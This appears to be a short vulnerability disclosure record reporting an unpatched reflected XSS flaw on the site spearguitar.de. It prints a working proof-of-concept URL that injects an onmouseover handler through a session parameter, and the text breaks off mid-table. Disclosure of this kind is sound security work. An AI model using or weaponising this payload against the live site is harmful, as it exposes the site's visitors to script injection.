spearguitar.de XSS vulnerability

Vulnerable URL: https://www.spearguitar.de/advancedsearchresult.php?XTCsid=c4343d67095e38cc2f552cf954526456=%22%20onmouseover=prompt/OPENBUGBOUNTY/%20id=%22=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.11.2017 Vulnerability type:| XSS Vulnerability status:|...